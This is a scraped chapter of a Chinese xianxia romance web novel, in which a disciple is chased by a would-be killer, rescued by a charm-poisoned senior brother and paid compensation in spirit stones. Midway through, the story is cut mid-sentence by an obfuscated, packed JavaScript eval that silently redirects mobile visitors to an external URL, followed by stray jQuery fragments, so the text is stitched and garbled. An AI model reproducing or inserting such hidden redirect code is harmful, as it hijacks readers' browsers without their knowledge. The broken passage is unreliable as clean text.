文趣网 > 其他小说 > 剑宗首席今天倒贴了吗 > 8. 第 8 章
    任妙感觉自己要死了。

    身后锐利迅疾的剑气一记接一记飞来,近身时她甚至不必回头,头皮到脊骨立刻爬起一串蚂蚁行过般的麻意,只能由本能驱使着连滚带爬。

    人怎么可以这么倒霉?她只是来做个生意而已,这单也就挣个二十灵石啊。

    开门红的红难不成是见血的红吗?

    她举着手指,不知第几次尝试往御风符里灌注灵气,每一次指端都像用尽汽油的打火机,只是偶尔冒出一颗火星子,连根头发丝都点不着。

    她明显感觉到方才成功使用的御风符时限将至,脚下速度有了渐渐放缓的趋势,心惊胆战回头一眼,元思若掀起的气浪倏然擦着她鼻尖而过,惊出她一身冷汗。

    任妙本打算迂回几番,趁她不备撤离树林,好跑到外面引起巡逻弟子的注意,可惜元思若这外门第一没有一点水分,看出她意图,好几次出了杀招将她逼退回来,她便不得不继续在林中打转。

    好在她平日勤勉操练,时常打工,虽然修为捏诀之类不行,但加上三张御风符,体能上还是可以同她兜兜圈子的。

    唰——

    一抹冷光锃然自身后掠来,任妙还没来得及看清是什么武器,身体已先一步向旁边急退而去,那利刃寒光却好似长了眼睛般,亦步亦趋飞将过来,几乎要贴上她面颊轮转,叫她终于看清那是只纯钢铸成、薄而锋利的飞铙。

    这物显然已契过灵识,可随心而动,两把四头双开刃,削掉她鼻子耳朵轻而易举。

    太快了。

    杀意近在咫尺,任妙脑子一片空白,尖头刺破她鼻梁上的皮肤,血珠顺着刃线被劈成几瓣,一滴溅入她睁大的眼眶。

    铛!

    古铜色的虚影不知何处飞来,疾冲直下,剑尖倏然没入地面,剑气澎湃厚重,卷着周遭气流往上飞旋,惊人震响带来耳膜上连绵起伏的颤动,嗡鸣如入阵古乐,隐有龙啸之音。

    直到风声渐息,任妙捂着耳朵抬头一看,那飞铙早不知被打到哪里去了。

    这是……

    任妙恍恍惚惚辨认了片刻,眼睛忽然一亮。

    镇阙!

    传音符需借助贴身物品为介质,好在那天她从水里勾走的鎏金带钩还放在身上,本来是预备交不了差时拿给元思若的,结果谁想到计划赶不上变化,突然就不必给她了。

    既然如此,那就物尽其用吧。

    她手指头差点钻出火星,终于驱动了一张传音符。起初嚷了半天不见燕策白回应,她还道难不成符坏了,一看手中符文闪闪烁烁根本还没用尽,于是又扯着嗓子呼救了几回,冷不防砰地被符箓作废燃起的尘烟扑了满脸。

    这家伙居然一句话不说就掐断了!

    最有希望的自救方式泡汤,任妙心灰意冷地继续跑圈,盘算着闹出多大动静能引来戒律堂的人。

    幸好燕策白还是来了。

    她果然没看错,当初他半夜也要知会巡逻弟子来禁地抓人,明显就是个爱管闲事的主!

    终于找到空隙喘息,她催停了脚下的御风符,环顾四周寻找燕策白的身影,回头时还没看清眼前景象,背后忽然升起一股大力,猛地将她往前推去。

    任妙第一反应是元思若,顿时像刺猬一样竖起了全身的毛,双手作出防御姿态,尖叫几乎已含在喉咙口,整个人却猛地被砸进一个紧绷绷、硬邦邦,尘土飞扬的怀抱里。

    她鼻子狠狠吃了一记撞击,疼得脑袋跟着嗡嗡响,脸被挤成一团,呼吸都不畅起来。

    燕策白仅有的理智只停留在掷出镇阙的瞬间,下一刻看到活生生的人,他脑袋里那根弦忽然断开,压抑许久的情绪霎时溃堤,失去了所有思考能力,满心只剩下唯一一个念头。

    靠近她,靠近她……

    他手臂和上身同她紧紧相贴,浑身热气蒸腾,只有怀里的人能够降温,他们肌肤贴近的地方仿若山溪流淌般清凉,相接时有如细小雷电劈落,漾出叫人头晕目眩的涟漪。

    仿佛久旱逢雨,燕策白本能地将口鼻埋进她肩颈,若有似无的香气直往他鼻腔里钻,佳肴在前,体内疯狂蔓延的饥饿感瞬间得到了抚慰,叫他情不自禁从喉咙里发出低低的叹息,身体也终于松懈下来,懒懒压到她身上。

    怎么这样瘦这样小,她应该多吃点的,抱起来骨头都有些硌手……

    天啊,燕策白又在发什么疯?

    任妙被他压得快往后仰倒了,挤得她面目狰狞咬牙切齿,他外袍上不知哪来这么多灰,要不是她反应快差点全迷眼睛里,她能感知到他轻薄春衫下的皮肤无比滚烫,还带着些微薄汗,抱过来活像个人形炭炉,差点没烤得她跳起来。

    她挣扎着用手去推,纹丝不动。

    “燕师……燕……”她艰难地从唇齿间发出声音,“放……手……”

    燕策白充耳不闻,定定埋在她脖颈,看不清神色。

    任妙三番两次叫他不动,火气噌一下冒到了头顶。

    她叫他来是逮元思若的,他们再这样浪费时间下去,元思若还不跑岂非是傻子?人证物证俱在时逮不到她,她今后有的是时间慢慢对自己割肉放血,而且一旦放她回去找家族撑腰,黑白莫不是任她颠倒?

    这样的事情她分明已经见识过,为什么还要重蹈覆辙?

    任妙怒火中烧,不知哪来的力气,抵着燕策白的手缓缓使劲,慢慢将两人分出一截小臂长的距离。

    燕策白被打断了有些不满,眼尾和唇角都耷拉下来,恹恹地正要说话,猝不及防被一道大力扇偏了脸,眼前砰地腾起许多飞扬的黄纸,飘飘荡荡好似一串蝴蝶。

    “燕策白!”任妙大叫道。

    燕策白回头看去,她一臂顶着自己胸膛,另一只手抓着一大沓朱砂黄纸符箓,那符箓原是粗线拴作一本的,因为被用来大力打了他的脸,现在七零八落地飞了一地。

    任妙看着他转回来那半张脸,突然有些结巴:“呃,燕,燕师兄你,清醒了吗?”

    他受了这突如其来的一击,的确清醒不少,现下神智回笼,定睛一看,才发现自己竟离任妙如此之近,一手环着她腰背,一手托着她后颈,简直就像……就像……

    他猛地急退两步,双手背到身后。

    任妙见他终于回归正常,松了口气,急忙开始寻觅元思若的身影:“燕师兄!快帮我把方才那人揪出来,她当时追着我杀招连连,定是要置我于死地!我记得门规中明文禁止了残杀同门,此人万万不可放过!”

    燕策白还未从被淹没的羞窘中抽身出来,紧张地摸摸鼻子,便十分听话地沉心静气,开始视灵寻物。

    任妙那头急急将树丛林间翻了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631927|206399||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个遍,忽听身后燕策白出声道:“此处除了你我,已无其他活人踪迹了。”

    任妙瞪着他,觉得该轮到自己疯了。

    这个成事不足败事有余的混蛋!她明天若是不能亲眼见到初升的太阳,做鬼也不会放过燕策白!

    该死的天龙人,她只是没钱,只是倒霉,谁在乎他们埋的不可回收垃圾!

    燕策白看她无言沉默,只低头一张张去捡地上散落的符箓,轻轻掐了个诀,叫符纸漂浮起来,一一落到她掌心。

    他踌躇半晌,走近她想解释:“其实,我方才……”

    “燕师兄,我不想知道,”任妙还在气头上,飞快打断了他,谁在乎他们天龙人的秘密,“我可以信师兄有苦衷,但我们见面两回,你也的的确确轻薄了我两回,师兄若是心怀歉意,倒不如赔我一千灵石。”

    少说那么多有的没的,既然有钱不如给我打钱。

    任妙本也只是说来出口恶气,结果话音刚落,便见燕策白朝她伸手过来。

    “腰牌。”他说。

    “做什么?”任妙警觉地捂住腰牌。燕策白不但是首席弟子,在戒律堂还有个挂名执掌身份,他手上可是有记过权力的。

    “给你一千灵石。”燕策白答。

    宗门腰牌是每个弟子入门时统一发放的灵器,不仅登记了持有者信息,还能与人交换通讯,更有收纳、储蓄之功能,故而同门之间如需交易,通过腰牌也能做到。

    任妙愣了愣,没想到燕策白说给就给,不过他如此爽快,自己岂有不要的道理?

    她望了望他头顶数值,依旧保持着“-80”未变。

    不对劲。

    燕策白明明挺讨厌她的,为什么总表现得好像很喜欢的样子,还一直听她的话?

    燕策白将腰牌贴上她的,输送去一千灵石,看她眼睛一下就亮了,又鬼使神差多碰两下,交换了两个人的通讯。

    “喂!”任妙在他面前胆子也大了,不满地叫了一声。

    “师妹不怕今日那人再找你麻烦?”燕策白不动声色将牌子挂回腰上,满意地看她无言以对,“若是师妹再遇此人发难,无论何时都可以向我求援,我既在门中,自然随叫随到,权当我向师妹赔罪了。”

    经此一事,他似乎摸出了些魅妖的门道。除言听计从外,此毒也会驱使他渴求肌肤之亲,他起初如此拼命压制反而弄巧成拙,压抑越狠,发作时效果越强,在他摸清这邪物习性之前,必须暂时借任妙安抚毒藤发作。

    所以他们必须时常联系。

    倒是也无不可。任妙沉吟片刻,又道:“不过燕师兄事务繁忙,我担心有时不能及时赶到,不如……”

    燕策白突然警觉。她似乎又想提要求了。

    “不如……燕师兄帮我在住处布个结实些的结界?”

    *

    这是他第三回来这间柴房了,不过在任妙眼中应当还是第二回。

    燕策白心虚地摸摸鼻尖,沉下心来,将灵气聚在指尖,耐心对着屋子各处书写阵法符文。

    门,窗,墙体,檐下,还有……

    他脚下轻点,雀儿一样轻巧地跃上屋顶,余光却忽然瞥到什么,手上动作一顿。

    这上面明明没鸟,可她怎么在补屋顶的那团灰泥上……

    搭了个鸟窝?